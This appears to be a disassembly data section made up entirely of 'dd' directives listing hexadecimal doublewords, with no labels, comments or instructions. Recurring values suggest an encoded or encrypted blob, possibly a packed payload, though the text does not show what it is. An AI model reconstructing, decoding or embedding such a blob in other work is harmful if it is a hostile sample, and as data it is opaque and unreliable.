		dd 6988AE5Bh, 0D1598782h, 0F7829168h, 74299685h, 0CED16787h
		dd 8C74D46h, 9C5A707Fh,	8BFED6DFh, 8689651Dh, 0C080AB4Bh
		dd 5478638Ch, 0CECA7EB3h, 0BCDAA146h, 8CC714EFh, 299624F1h
		dd 9478B16Eh, 3B721147h, 9E47E747h, 0CEB789E2h,	9685EC8Dh
		dd 3B30A429h, 125766F2h, 0FEAB53E3h, 8C31CE4Ah,	0C22B0C81h
		dd 5A8F4A4Bh, 0FFA47AB4h, 67124169h, 0E4299685h, 0CE4EF237h
		dd 8FBAA58Dh, 18C1B02Fh, 17FD24EDh, 0BC6C8153h,	0AC67921Eh
		dd 239CFED1h, 77BD514Eh, 6C4F68D1h, 0AD41189Dh,	9CB1E887h
		dd 0C6312996h, 3DECE126h, 5E8C2319h, 0CBC24973h, 8235D31Eh
		dd 0CEB789BEh, 8595E873h, 15122996h, 854E2FECh,	0DECB2996h
		dd 0B946FB38h, 0F700F510h, 5BFB36D5h, 968585F8h, 19C23D29h
		dd 1E30E9ECh, 37D6F7D6h, 0FA2EE3B6h, 81C76FD1h,	7CA55E8Ch
		dd 9EB05783h, 8A31CE98h, 64C56F7Fh, 6FAC735Bh, 2996860Eh
		dd 6C539E8Bh, 5A0F867Fh, 73CE7EB4h, 968595E8h, 1151229h
		dd 0A3ECBF2h, 628CBE82h, 7CB55477h, 78953AC5h, 0B78260D6h
		dd 85A8D182h, 46252996h, 87A762A7h, 0FED6E8B1h,	0CE1348F5h
		dd 0D97D8831h, 0C825B41Ah, 6AA95045h, 2996860Fh, 5D5A8F8Ch
		dd 5405887Bh, 68D16B9Dh, 85F78291h, 87742996h, 628CD167h
		dd 71B85777h, 7C8B2FC8h, 0A88EA079h, 4E8B31CEh,	41189D72h
		dd 0C37D6688h, 0B0477FF1h, 0D96CDC0Ah, 85B8BBE5h, 3F8E684Ch
		dd 6DD8A78Bh, 608C73C9h, 9A4126A7h, 2DDC7E6Fh, 0AB817D21h
		dd 17A04E9Ch, 4CBD20B1h, 0CECB7185h, 28872D46h,	0AB561960h
		dd 95DA0D70h, 799D8A29h
		dd 89B7547Ah, 628C6FD1h, 0BE8277A9h, 9DA173CEh,	6A572692h
		dd 5AA5D863h, 33222996h, 5D0C8188h, 98CF8294h, 839E1EFEh
		dd 23AA638Ch, 7C719A44h, 0B965719Ch, 0E50AF5B4h, 0FD0CAF28h
		dd 4E9CE359h, 55B417A0h, 0CF658960h, 77A9628Ch,	2B2046CEh
		dd 13EB9D3Dh, 0E7D03903h, 0D7920302h, 628C0137h, 59825377h
		dd 0B97029ACh, 46CED070h, 65324123h, 1CC23DFAh,	0B2BFEEFh
		dd 73CE1EE2h, 968595E8h, 0F6251229h, 29968583h,	0E6CE0300h
		dd 0B981EF94h, 10DF6F7Ch, 1AA55CADh, 855459B6h,	6FD1CB71h
		dd 0A8C346CEh, 88AE2092h, 7D2CA162h, 6953A2B4h,	5A8077A2h
		dd 0E17524A9h, 9168D15Bh, 0B241C626h, 299685C7h, 81B75744h
		dd 99BA638Ch, 299685E0h, 0B769A05Dh, 7F8A31CEh,	75A65B0Eh
		dd 29968604h, 79728481h, 0AFCA89B0h, 2C299685h,	0E859DF6Fh
		dd 29968591h, 0AA638C58h, 0A162886Fh, 6BA24B2Ch, 0D1AA90A6h
		dd 78638C6Fh, 6E3BB253h, 38BD4871h, 0C871A861h,	9685F28Bh
		dd 5F806F29h, 0B77227AEh, 636A9B40h, 0CE9AA0B6h, 0F1FC6446h
		dd 0E90DC433h, 618C4000h, 0BE8278A8h, 30A55E8Ch, 6F66A547h
		dd 7C705EA9h, 6633BA53h, 0D7E0C9ABh, 0C9A015F4h, 73CE0F25h
		dd 968595E8h, 2BE20B29h, 0D928CEBBh, 46CEE88Dh,	99E46779h
		dd 10BD88ACh, 399BAD1Ch, 6F0A49F0h, 0EC29967Bh,	0EFD01F2Fh
		dd 31CEEA1Eh, 5B0E7F8Ah, 1F9881BBh, 92624AB9h, 0ACF88BB2h
		dd 8C3C0214h, 0CA6FAA63h, 9685F089h, 9EB06D29h,	0E873CE98h
		dd 29968595h, 0E8011512h, 0DFFFF841h, 855A2330h, 2AD72996h
		dd 618C2E04h, 0BE8278A8h, 6FAA638Ch, 949CA9Dh, 0B22DD4C3h
		dd 21F8FD0Ah, 31CE270Dh, 0A1787D88h, 8C8DA38Dh,	0B2577661h
		dd 6FD1C977h, 9F8D638Ch, 72054CC4h, 0C2BB5881h,	3F299671h
		dd 65528742h, 0C76D8184h, 808B31CEh, 0CE6AC46Eh, 8595E873h
		dd 0E4D2996h, 2996856Bh, 0DECB3BE8h, 6F6186F6h,	44EA7862h
		dd 25C346A5h, 95E873CEh, 12299685h, 41E80115h, 0B5AEBACBh
		dd 38DE16C2h, 3429E802h, 21C0DF60h, 0A04E9C1Fh,	85BFBA59h
		dd 3F3C2996h, 31CE89AFh, 7439638Bh, 6F7DC3E6h, 0D06633BAh
		dd 0BB1DBA21h, 84762B2Bh, 0EB264BD0h, 3FFA2FEAh, 60F617B8h
		dd 8C6FD1DAh, 0CE83A55Eh, 0D87E8931h, 618C710Fh, 0BE8278A8h
		dd 856552EFh, 0CEC66C82h, 0B828D31h, 1D49B85Eh,	885E8C58h
		dd 0E423D0B6h, 0F029E0D9h, 33EC961Ch, 3BD8A0DCh, 29967142h
		dd 0E707C2BFh, 8C31CE51h, 6DC36D81h, 95E873CEh,	12299685h
		dd 0C643AA15h, 0EF1AC130h, 1964EF4Ah, 0A4299685h, 0A6643035h
		dd 3F2E900Dh, 0B2676E9Dh, 0FFD79577h, 98799EE4h, 6FD1C076h
		dd 118C628Ch, 0CBE2E08Dh, 8293B57Ch, 8595E8BEh,	8C542996h
		dd 9C70A962h, 0BBA7142Ah, 47ED0142h, 828D31CEh,	7A615E0Bh
		dd 0AB4B1E8Fh, 5E8CAF91h, 0CDC04773h, 0CE33D51Ch, 797C8731h
		dd 0FBE64CA0h, 673FE83h, 0CE39F7F0h, 16818C31h,	896055BAh
		dd 0A3688665h, 8CBE8285h, 4324A962h, 0E77D7097h, 280CD200h
		dd 0E873CE86h, 29968595h, 83F62512h, 299685h, 0E8D1CE03h
		dd 2DC1981Dh, 0D1EE80CEh, 280E20EBh, 7CA55E8Ch,	9CB25983h
		dd 8A31CE96h, 6BC56F7Fh, 5377628Ch, 0A16841B4h,	7D5E7F78h
		dd 0D165AC5Fh, 9168D16Bh, 9685F782h, 67877429h,	1231A1D1h
		dd 2FA66985h, 0E379927Ah, 0CECD7361h, 104B4546h, 6A8C4E72h
		dd 46CEBF81h, 1E356328h, 15D47AD0h, 0CEB050B3h,	16818C31h
		dd 26BF4FB4h, 0B8517C83h, 6CD26435h, 85EC8DCEh,	0BC692996h
		dd 73CE7E40h, 909C33A1h, 7655708Ch, 0C40AE282h,	0A5A84ED5h
		dd 299685D8h, 0EA9504Dh, 84BA5CB1h, 46CE6FD1h, 0A1E5D078h
		dd 78779759h, 582A9452h, 261BAE97h, 31CE3DEBh, 0C56F7F8Ah
		dd 8C80C06Bh, 8276AA63h, 781255B7h, 55566B31h, 608C7BC1h
		dd 9A4126A7h, 843ABA6Fh, 8DCE73CEh, 299685ECh, 0C058BC69h
		dd 47F779F5h, 3F3A0D21h, 0F7299638h, 0B2BDC00h,	641546F3h
		dd 0E1299638h, 8A3FCCF2h, 0C11D9A3Fh, 38BCBD5Eh, 4C392996h
		dd 55B21A85h, 6FD17BC1h, 85EC8DCEh, 0BC692996h,	7C719843h
		dd 0CE912FADh, 6AE4EB46h, 8DA1F6A9h, 0AF6C9554h, 2995B6CEh
		dd 82B85E4Bh, 765CB089h, 163BD3BCh, 82270D21h, 0A8618CBEh
		dd 4F68D178h, 0A98F9F6Eh, 76AA638Ch, 81C7BE82h,	99BA638Ch
		dd 299685E0h, 0B769A05Dh, 73CE6FD1h, 968595E8h,	28DF0B29h
		dd 1512F4A5h, 40CDF201h, 4CC11E99h, 853C9049h, 72C0421h
		dd 82F63CD2h, 8595E8BEh, 8C542996h, 8425A861h, 9685A6D7h
		dd 79662329h, 0AF5C824Fh, 2FA66B3Eh, 7263A448h,	0B4A2D5B7h
		dd 9CF250EAh, 638CA74Eh, 3CB15278h, 0CE84A46Dh,	0EDD95346h
		dd 0E5B439CCh, 76C35C0Fh, 0D87EB358h, 31CEC05Eh, 5D0C818Ch
		dd 0CEE83177h, 97B751CBh, 72967758h, 31CEBE82h,	75D87E89h
		dd 29968604h, 729943BCh, 90A66985h, 9C59EFAAh, 638CA74Eh
		dd 62886FAAh, 0CEA78DA1h, 0E7976146h, 6EAF0504h, 8169567Eh
		dd 61C67086h, 79637A56h, 83565792h, 638CCD73h, 89CA6FAAh
		dd 299685F0h, 86126BA8h, 928F2996h, 59DF6F2Ch, 7D8831CEh
		dd 0D64BA178h, 0FCD3A15Eh, 4000E90Dh, 8DCEB789h, 299685ECh
		dd 0BC85BC69h, 85A3D685h, 63202996h, 9685A5D8h,	0BBBE5D29h
		dd 38299685h, 88AE5B4Bh, 55B782B2h, 0C49746ACh,	38FE104Ch
		dd 30A55E8Ch, 6568A747h, 2CF2E017h, 31CE8729h, 5B0E7F8Ah
		dd 571E4CBBh, 6FAA638Ch, 97B33C9Dh, 6AC04BF7h, 695117F6h
		dd 8AB0468Bh, 0AC6468D1h, 0DBA6750Eh, 0A2658572h, 608CA68Ch
		dd 85E19CB7h, 0A15E2996h, 5D826568h, 0A56C3DB0h, 56758237h
		dd 68A14CB3h, 0BE8270C6h, 0CF8D638Ch, 27E60718h, 1D9E63C5h
		dd 73CE34D4h, 968595E8h, 0F6251229h, 29968583h,	28CE0300h
		dd 0E0FDFABFh, 0DB22Dh,	5E8C48EEh, 0A54730A5h, 89CA6F66h
		dd 299685F0h, 0CABDB06Dh, 0B54BC29Ch, 8CA74E9Ch, 6F2AAB64h
		dd 73CEBB85h, 968595E8h, 6B0E4D29h, 0E8299685h,	38DECB3Bh
		dd 851D60FBh, 0BB9A2996h, 24F5F80Fh, 96C6CBD0h,	0E02937B1h
		dd 0E873CE40h, 29968595h, 42AA1512h, 290731C5h,	95E873CEh
		dd 12299685h, 0CDF20115h, 5459AE0Eh, 829C4C85h,	0CEB789BEh
		dd 0A8618C73h, 6FE27425h, 2996860Eh, 9DE07BC6h,	1A299685h
		dd 4231C96Dh, 0C1686D9Ah, 9685E792h, 72B76429h,	9CB782B7h
		dd 299685E1h, 9436A15Eh, 8259DF6Fh, 0A65F8CBEh,	64A5482Fh
		dd 3422E971h, 0B946E36Ah, 0E52AC613h, 9C340A2Ch, 638CA74Eh
		dd 72B75878h, 98E172C7h, 15299685h, 0D170C668h,	9E6D4F68h
		dd 31CEC278h, 4FDA7C87h, 8B31CEB1h, 75BA6E80h, 549A7B9Fh
		dd 3FCF4787h, 8595E8F9h, 0C74D2996h, 2545221Ah,	85BB5B6Bh
		dd 0A0BB648Ch, 299685DDh, 7164AD5Ah, 2BA26786h,	0DE80CEB9h
		dd 4E9CFE44h, 0C079C0A7h, 9685EA93h, 94BA6729h,	0A7608C9Eh
		dd 0E873CE79h, 29968595h, 0E8011512h, 0B55E8C48h, 9685D3A6h
		dd 9E535029h, 99725C63h, 0B782BF75h, 0CA0E7155h, 70860A0Ch
		dd 0E881C7CAh, 29968595h, 47CC74Dh, 24324B08h, 0F2AF2996h
		dd 860A6C1Ah, 1821CA70h, 29CD3C9Fh, 0A74E9C13h,	5E8C73CEh
		dd 85E396A5h, 0A3602996h, 8C589893h, 8976AB64h,	0AF85A964h
		dd 0B789BE82h, 7D8831CEh, 0BEBF5CD9h, 76299685h, 23AA6589h
		dd 6B18E076h, 0E946CEBDh, 0BE5774E6h, 24052FBFh, 0CE23D3B0h
		dd 698D92F5h, 0AB46CED3h
		dd 0FCDCAAECh, 0E8ED16C4h, 0F356F831h, 62495ECCh, 1FBE3900h
		dd 2536E3EAh, 0F0E2DC54h, 0FC42D4D1h, 5079648Ch, 0D1CC7CB5h
		dd 6370E86Fh, 0C772F6DCh, 50A7F18Ch, 0F6AA95Ch,	8C5C50A8h
		dd 85722F8Fh, 7A2FA669h, 5E8C5ED4h, 7E8A5388h, 4B868A9Ch
		dd 5DB33E96h, 0B14DA9D2h, 6FD1979Dh, 83A55E8Ch,	0D182B782h
		dd 299685A8h, 597F7825h, 0CEAE84AAh, 0FA515B46h, 44EA9040h
		dd 279449A5h, 0C702D7DEh, 512CE712h, 0CE2995B0h, 0CEF73DD1h
		dd 837C8731h, 7227AE55h, 0EF6D03DCh, 8C31CE59h,	408E6D81h
		dd 0E873CEB5h, 29968595h, 0AA2BE20Bh, 0FC120FEFh, 838CBEDh
		dd 4A8731CEh, 0B46568A5h, 8DA1787Dh, 547986A3h,	0CE9F95B9h
		dd 9D4B8831h, 6FBA6F66h, 6C8BAB7Eh, 0D15D8B84h,	1146CE6Fh
		dd 0E9B94C27h, 8B241D5h, 0D6CE46FBh, 0E5168F5Ah, 82F248EEh
		dd 0A7608CBEh, 9168D179h, 9685F782h, 0D9A4AF29h, 56299685h
		dd 0A64835A9h, 89B08990h, 9685AFCAh, 9D6F2C29h,	21CBCB00h
		dd 75CB6B01h, 5E8CBE82h, 6FD183A5h, 7C8731CEh, 9A8EA079h
		dd 8595E85Ch, 8C542996h, 4730A55Eh, 749936A7h, 7B9238BDh
		dd 9DABAF6Fh, 8E8931CEh, 9685ACCDh, 0B57C2929h,	0F79E4C40h
		dd 154D7FCBh, 14FBE3DCh, 1ED70302h, 0C59379C0h,	0F60502B4h
		dd 5C3202E0h, 9A9E7478h, 608CBE74h, 31CE79A7h, 5B0E7F8Ah
		dd 708732BBh, 0A59BBB4Ch, 85E99EE8h, 1F214B35h,	0A53F46CEh
		dd 0F82BF21Eh, 889C3914h, 0AD4177B5h, 666E004Eh, 56B40569h
		dd 715740E4h, 0CEB67C92h, 37311E46h, 0D1657D2Fh, 9B4DBA22h
		dd 918C31CEh, 9685F782h, 42877429h, 0BE789E4Bh,	897E5E59h
		dd 856A5504h, 8CD06688h, 8572A760h, 0AA90A669h,	7F8A31CEh
		dd 32BB5B0Eh, 745F8C8Eh, 0F6EDBF48h, 5ABE3530h,	82F10FDAh
		dd 0CE59EFBEh, 0B828D31h, 1D49B85Eh, 8C73CE58h,	0E495A65Fh
		dd 61299685h, 776392A4h, 6FD17090h, 808B31CEh, 79483F0Dh
		dd 0F1C18B47h, 14EDD438h, 76F4104Ch, 5EA911E0h,	0E8BE82AAh
		dd 3585E99Eh, 1B5EFD44h, 981DA721h, 211D60FBh, 0ED9A1DA7h
		dd 0EF2C1224h, 0DE427A52h, 0D49BB8CBh, 4E9CFC42h, 75608CA7h
		dd 0AB5C8055h, 6FBA6F66h, 66886FCAh, 85E396A5h,	0A3602996h
		dd 68D1AD93h, 2DA06F4Fh, 0CE64DA7Ch, 787D8831h,	739836A1h
		dd 44AA14E3h, 72D48185h, 325EC1Ch, 91E8BE82h, 58299685h
		dd 815B46CEh, 1CE9F1FAh, 369E9848h, 7661ED39h, 6742B358h
		dd 45C628C7h, 52B9239Ch, 31CE76BCh, 5ED87E89h, 3A46CEC0h
		dd 995423A6h, 0AD0FDE70h, 0BE82AA5Eh, 95E873CEh, 12299685h
		dd 8583F625h, 3002996h,	21C928CEh, 851465F6h, 658A2996h
		dd 927425A8h, 49C62A95h, 0B5735980h, 10025213h,	893D0E3Bh
		dd 33FE43F2h, 0BE821D23h, 876552EFh, 0C6261184h, 0D0668841h
		dd 95E873CEh, 12299685h, 0D4020115h, 3A95B21Ah,	987EAEF0h
		dd 628CC076h, 6FD177A9h, 95E873CEh, 4D299685h, 96856B0Eh
		dd 0CB3BE829h, 0B72C38DEh, 0BE82C563h, 76AA638Ch, 628C6FD1h
		dd 668770A9h, 0CEB187A7h, 0B828D31h, 0A07EB85Eh, 79A7608Ch
		dd 6E4F68D1h, 85D9A4AFh, 0A9562996h, 0E868CE60h, 3F989839h
		dd 0A8618CB0h, 0A1668671h, 63D97D2Ch, 31CE6FD1h, 97C47D88h
		dd 299685E6h, 6190A663h, 8A7D5D7Ah, 46CEA13Fh, 5DC3919Ah
		dd 0DE0727FBh, 8592E822h, 26572996h, 0F5D9E61Bh, 8580F91Ah
		dd 0FD2996h, 31CE48EEh,	0EE2B818Ch, 0BE3DC9E2h,	0F6E42333h
		dd 8B618C3Fh, 547EB071h, 0FE64B17Fh, 2FF9785Ch,	9A25DC15h
		dd 0FD43D330h, 829168D1h, 299685F7h, 8A258774h,	1FE71961h
		dd 0E8D75DF1h, 29968591h, 47B08958h, 0B77263A2h, 0BE82A197h
		dd 818C31CEh, 0AA5F7E6Dh, 82B78276h, 9685A8D1h,	0D6782529h
		dd 0B65F8C60h, 9685D4A5h, 9D545129h, 5EAD0F18h,	0F8819257h
		dd 75299685h, 0BDA97C88h, 0F7FE0DAFh, 0A485E722h, 49A9030h
		dd 98DD2FD8h, 0F83ED012h, 2CA04E9Ch, 54643445h,	0CDEDEA02h
		dd 891E143Ah, 63A247B0h, 0A197B772h, 85EC8DCEh,	0CC692996h
		dd 9685EE8Fh, 8DCE6B29h, 299685ECh, 0BC75BC69h,	4A46CE8Ch
		dd 0C13413AAh, 7A949EB0h, 438B618Ch, 25F8AC66h,	750813CEh
		dd 0F2299606h, 0CE4CFC35h, 8595E873h, 15122996h, 854E2FECh
		dd 0DECB2996h, 8C20FE38h, 8278A861h, 0B508E8BEh, 0EFE17847h
		dd 0E873CE59h, 29968595h, 41AA1512h, 87D332C4h,	0A8618CEEh
		dd 0CE6FD178h, 797C8731h, 759437A0h, 6685A980h,	825E8287h
		dd 82B789BEh, 0F06355B7h, 875EDFE0h, 64DDD167h,	2E796D5Bh
		dd 4E2ECD81h, 4B1E8F5Ah, 8CA26B54h, 8C6FD1A6h, 0CE78A861h
		dd 777E8931h, 8CA28CA2h, 7C8731CEh, 5F8EA079h, 825C8C7Bh
		dd 694E55B7h, 0AAD29EEDh, 6AE8AE84h, 7F3E77A1h,	72A7608Ch
		dd 85F18CC7h, 0B16E2996h, 6FD1979Dh, 578A608Ch,	809496B9h
		dd 8255F33Eh, 0E795E8BEh, 25440F5h, 1624D537h, 0A36E491Fh
		dd 4E9CAD93h, 825E59A0h, 860B6E8Dh, 69882996h, 56038A85h
		dd 0CEC57B9Bh, 8595E873h, 15122996h, 4DCAF201h,	96856B0Eh
		dd 85F82329h, 2299685h,	2DE4A105h, 2CE30BF4h, 2A5300A9h
		dd 0A7299685h, 191F2FFAh, 829168D1h, 299685F7h,	0D1678774h
		dd 7C8731CEh, 80A53198h, 0D47AD8A4h, 0A752B515h, 5A5BAC10h
		dd 55B6187Fh, 0CF658960h, 7E8931CEh, 0E8710FD8h, 6E9CECC1h
		dd 9C9BAD28h, 0B717A04Eh, 85D2AB68h, 524F2996h,	0CEC17797h
		dd 8595E873h, 0D7202996h, 31F1F285h, 26C8B529h,	44E423C7h
		dd 126468D1h, 9B60FF0h,	0F588934Eh, 722995F9h, 0CE9BA1B5h
		dd 6F7F8A31h, 76AA5B80h, 0C155B782h, 5B387A95h,	0CED65CF2h
		dd 0C623BC46h, 9603E495h, 50A46129h, 0B45AC624h, 7051C691h
		dd 73CEC98Ah, 968595E8h, 0AA151229h, 14C5C845h,	22C6F302h
		dd 745AB236h, 44253597h, 748BB67Bh, 0F91ABF48h,	29963380h
		dd 48EE00FDh, 818C31CEh, 7FB95D0Ch, 0C9B45F9Ah,	46299685h
		dd 0CE7FB559h, 0C67C9746h, 3FCF34A3h, 3FFA0BB0h, 452059FAh
		dd 99AB2996h, 0BCCA16DBh, 5DF1AE10h, 0E8BE82D7h, 29968592h
		dd 86856750h, 7C5D5A0Fh, 0C1550489h, 0E61B267Bh, 96854435h
		dd 32C4C129h, 8931CE0Ch, 0AC57817Eh, 0C66F7B8Ah, 7BA65F8Ch
		dd 9FAF5884h, 8C6FD199h, 8282A65Fh, 929C55B7h, 6C4C50A7h
		dd 77E874CAh, 726B49E6h, 0AE6D94ADh, 299685CBh,	85BB5B48h
		dd 0CEA74E9Ch, 57828D31h, 9685C1BCh, 0AD413E29h, 98369D3Eh
		dd 0B7729D41h, 68D1CE72h, 139A694Fh, 8C8AB046h,	0B1527863h
		dd 0BE82C878h, 0A5B65F8Ch, 299685D4h, 649D5451h, 9905BD70h
		dd 9625FF7Ah, 2D7F7C29h, 2EC08D08h, 8D31CE08h, 0BD736C82h
		dd 6FAA638Ch, 90A66788h, 0E873CEAAh, 29968595h,	37011512h
		dd 0A65F8CD9h, 0C8F6997Bh, 17FD0EB0h, 60991143h, 95C0CAB3h
		dd 0B45A4729h, 0CE6FD17Eh, 0D808B31h, 8D44C12Ah, 0A8658A69h
		dd 82B78278h, 9685A8D1h, 7F782529h, 0B288AE5Dh,	725B64DDh
		dd 52BB249Bh, 0D2688E5Bh, 0CF8946CEh, 0FD847D4h, 8CDB35FFh
		dd 82557863h, 7578B15Eh, 82BB6DA4h, 745F8CBEh, 3944CF48h
		dd 0B6299685h, 10C900C9h, 27C746A7h, 5546CE11h,	7FEEB2Bh
		dd 0A501D386h, 12DB7BE4h, 9B6C5067h, 89AF3F1Ah,	7C8731CEh
		dd 29B21BDAh, 558C45C0h, 0B3C655ACh, 30299685h,	8595E873h
		dd 15122996h, 6FD13B01h, 82A65F8Ch, 8D2246CEh, 0E3A3D93Bh
		dd 95B44538h, 0CC5C229h
		dd 8CEE50EAh, 0D4A5B65Fh, 51299685h, 0EC828054h, 2C9A007Fh
		dd 31CE43E5h, 5D0C818Ch, 0F19030B9h, 0CF34E82h,	70092AE3h
		dd 0ED299685h, 856A1340h, 3AE72996h, 0C8D95FEFh, 0A74E9C78h
		dd 82A65F8Ch, 9EF146CEh, 0B9E18D6Ch, 8C859B95h,	8282A65Fh
		dd 0A8D182B7h, 25299685h, 0E860D678h, 29968592h, 87866750h
		dd 7DC35306h, 46CE79CFh, 7D7CBAE1h, 7685A92Bh, 5F8CCD68h
		dd 38BD4674h, 0C871A861h, 9685F28Bh, 1069AA29h,	8D299686h
		dd 0DD712E90h, 4F68D157h, 0B6EAD6Ch, 88299686h,	585F569Bh
		dd 635C9576h, 0BD83937Ah, 4B745F8Ch, 0D31ECBC2h, 40B78235h
		dd 0B6636A9Bh, 31CE9AA0h, 0DA6D818Ch, 0C69211CCh, 3944CF2Ah
		dd 0B68C9AF9h, 17ECCEC9h, 608C41F7h, 9B4126A7h,	749B7D70h
		dd 0D3D4B866h, 0C1094201h, 2132D886h, 2995F858h, 4DE128D5h
		dd 0A74E9CE7h, 95E873CEh, 12299685h, 0C9F20115h, 6FD10C3Ch
		dd 79A7608Ch, 31CEBE82h, 2C51638Bh, 7C7A06CEh, 0C56940B5h
		dd 0B00EC526h, 0C630C73Eh, 0A0697411h, 0EC987C2Dh, 0E423C5DBh
		dd 526D945Dh, 221A9B68h, 0EE1D3780h, 1F2FFAD1h,	8B46CE19h
		dd 0FEDDCA09h, 0B2CD1C98h, 0A5E5CD5Ah, 2985891h, 0E873CE3Eh
		dd 29968595h, 2011512h,	0C2B21AD4h, 1B62BB49h, 0D9FC32Dh
		dd 0C2EBFAA7h, 608C062Ch, 3FB65975h, 0CE819F6Ah, 4314A173h
		dd 554D6FAFh, 960DB3C6h, 0E3733029h, 31CEB759h,	1BDA7C87h
		dd 2AA257AEh, 488F5A26h, 0C32C445h, 6A4F68D1h, 8CC57B9Bh
		dd 0C970A962h, 9685EF8Ah, 9FAF6C29h, 40B78299h,	6A9D3DA0h
		dd 7A7BB663h, 0E8A98F9Fh, 97719808h, 0AFDDDDAh,	628C4EE4h
		dd 628770A9h, 0D77732A3h, 8731CE61h, 79A0797Ch,	96859FDAh
		dd 0CF5F1C29h, 923BC465h, 0B25B847Bh, 31CE969Ch, 6E0B828Dh
		dd 9685CCADh, 955C4929h, 0A04A7281h, 37E4BC0Ah,	29966C46h
		dd 2AEEC6C3h, 30E92074h, 842F4A09h, 0EFAC2996h,	31CED95Fh
		dd 0A1787D88h, 6C95548Dh, 9685CEAFh, 0B85E4B29h, 8B31CE82h
		dd 5D7F6E80h, 0BE827AAEh, 25A8618Ch, 85A6D784h,	66232996h
		dd 41B44F79h, 0C896C4A3h, 73CEAB45h, 968595E8h,	1151229h
		dd 0CE21D402h, 8595E873h, 15122996h, 3DCAF201h,	8831CE0Bh
		dd 8DA1787Dh, 628C8DA3h, 71B85777h, 9168D1CFh, 9685F782h
		dd 67877429h, 75608CD1h, 6CA49656h, 25D4DB11h, 0F15808ECh
		dd 0F50C2B81h, 0BE820C3Ch, 0A2C092E8h, 5F8C57B5h, 0A6482FA6h
		dd 0B5527A65h, 212D5840h, 0A158E57Dh, 96860772h, 77978429h
		dd 0A74E9CC1h, 5975608Ch, 9F6A3FB6h, 0E994BF7Ah, 66299685h
		dd 6CA13EB9h, 989EB069h, 4E8B31CEh, 0C0569B70h,	618C9876h
		dd 0BE8278A8h, 5875608Ch, 0A06940B5h, 0EFBE8280h, 0A04E9C59h
		dd 8153B217h, 0E4FF3304h, 88AE403Dh, 78A8618Ch,	952B46CEh
		dd 4CBD862Ah, 0CEAE90AAh, 0C818C31h, 8C79625Dh,	0A85F8B6Ah
		dd 4F68D178h, 0C3799D6Ch, 7E8931CEh, 0D4168CD8h, 96853647h
		dd 3BF6B329h, 8CBE820Dh, 36378B61h, 0CD59D1C0h,	0B782E404h
		dd 636A9B40h, 8C9AA0B6h, 4126A760h, 7A7D709Bh, 6841B451h
		dd 39E5F104h, 4E9C211Fh, 8C31CEA7h, 0B95D0C81h,	2F5D9854h
		dd 13335D4Dh, 0CEA70000h, 6D818C31h, 7CAC617Eh,	7D8831CEh
		dd 0CE7010D9h, 0C818C31h, 0CF75B95Dh, 76AA638Ch, 31CE6FD1h
		dd 0A0797C87h, 0D6789737h, 0FF3AB617h, 3A748E7Ch, 0EF043471h
		dd 0B27788CDh, 4AC277h,	0C7E96D1Bh, 0CE69CF5Fh,	8595E873h
		dd 15122996h, 0B641E801h, 2EFBF217h, 95E83208h,	54299685h
		dd 4E9C59EFh, 0B01A2CA0h, 4F218597h, 638C79BFh,	41B45578h
		dd 0CE7FA168h, 0BE57F46h, 95C52D50h, 17FDAA29h,	72842858h
		dd 799A5FC8h, 2995F900h, 51B55A76h, 0CE7CC254h,	0D9A16F46h
		dd 0C9A015F0h, 0FF4645E3h, 2EDF00EFh, 6C0D4EF3h, 0E9299656h
		dd 0CE241A3Ch, 8595E873h, 15122996h, 854E2FECh,	0DECB2996h
		dd 0E811AF38h, 29968595h, 0CE1F2154h, 8595E873h, 15122996h
		dd 1AD40201h, 12F3D8DFh, 96857801h, 0E608F529h,	0AA638C50h
		dd 6846CE76h, 0DFEE0F4h, 0FFBD188h, 13BA2592h, 42AFFF6h
		dd 27340D2Ah, 29967256h, 0F02BD6D3h, 2996728Dh,	43F91D0Ah
		dd 26A7608Ch, 68D2CD56h, 985199E5h, 4A4BBA1Fh, 825B258Fh
		dd 0A8D182B7h, 25299685h, 8C60D678h, 8276AA63h,	0A65F8CBEh
		dd 0BD7A7A2Fh, 0BB527B84h, 9685DDA0h, 0A2695329h, 89AF3F3Ch
		dd 85F08DCEh, 59A02996h, 9685BFBAh, 0AB0D3C29h,	4D845558h
		dd 0B92251A9h, 5990494Ch, 0BFBA59A0h, 35299685h, 0AA7F7699h
		dd 91A74734h, 6A4F68D1h, 8CC57B9Bh, 0B6577863h,	819F6A3Fh
		dd 7E8931CEh, 80B95ED8h, 9685AAD3h, 0D47A2729h,	8C80C05Eh
		dd 0CE77A962h, 787D8831h, 9C548DA1h, 6A5CB089h,	0B6F9E7F4h
		dd 0CE8DB343h, 9685EC8Dh, 8CBC6929h, 46CE6FD1h,	0D7BE209Fh
		dd 5D01D37Bh, 0E68AA611h, 0EC0A1E30h, 508D31CEh, 3F1A9B6Ch
		dd 0C056038Ah, 60808B31h, 808B31CEh, 80BA5C0Dh,	1146CE9Eh
		dd 618C4C4Bh, 51B0D2E5h, 0C1088080h, 0E81DBE2Dh, 0E429C631h
		dd 201638F1h, 9D40B782h, 9EB0696Ch, 8731CE98h, 8EA0797Ch
		dd 27A8CFBBh, 5F8C7499h, 8C14A74h, 0CE6FD1D8h, 797C8731h
		dd 7A5F8EA0h, 8269568Bh, 0C3530687h, 0EB46CE7Dh, 3E4D6A58h
		dd 31F8F105h, 523DE8DBh, 0D9379D6Ah, 0D33C32Ah,	6D5B64DDh
		dd 0A44A1F96h, 4F68D18Eh, 7B2E9F6Eh, 46CE65DBh,	5093C9CAh
		dd 8B6A8CB7h, 0B457755Eh, 0DE50C47Dh, 841D8B79h, 0CEE157F7h
		dd 8595E873h, 0DF0B2996h, 12F4A528h, 41E80115h,	5FEF14B6h
		dd 627BE8D9h, 216EBA05h, 0A74E9C1Fh, 95E873CEh,	12299685h
		dd 0C9F20115h, 31CE0C3Ch, 0C26C828Dh, 8D31CE6Ch, 5F7D6C82h
		dd 4A9F75ACh, 1DB0858Fh, 8290A648h, 8931CEBEh, 8CA2777Eh
		dd 57897C5Dh, 9A40B782h, 0BD749337h, 618CA399h,	9E4225A8h
		dd 0A56C9B3Fh, 967C5C30h, 0AACCAED5h, 0B16D7990h, 4E9C9BA9h
		dd 0E6542CA0h, 0F715715Dh, 628CE157h, 638770A9h, 3ABB4872h
		dd 0AE84AA5Fh, 95E873CEh, 12299685h, 0D9370115h, 0B782B789h
		dd 7E6FA040h, 0CEB58BABh, 0AF1DA646h, 84AA3222h, 82918465h
		dd 299601F7h, 35258774h, 2B796E1Ah, 0CEE818D1h,	0D83F7D46h
		dd 0AF3F4E17h, 7AC7AB85h, 8AAC5F7Dh, 8831CEB4h,	376D97Dh
		dd 0BB299686h, 676E9744h, 8C969CB2h, 4126A760h,	9F696C97h
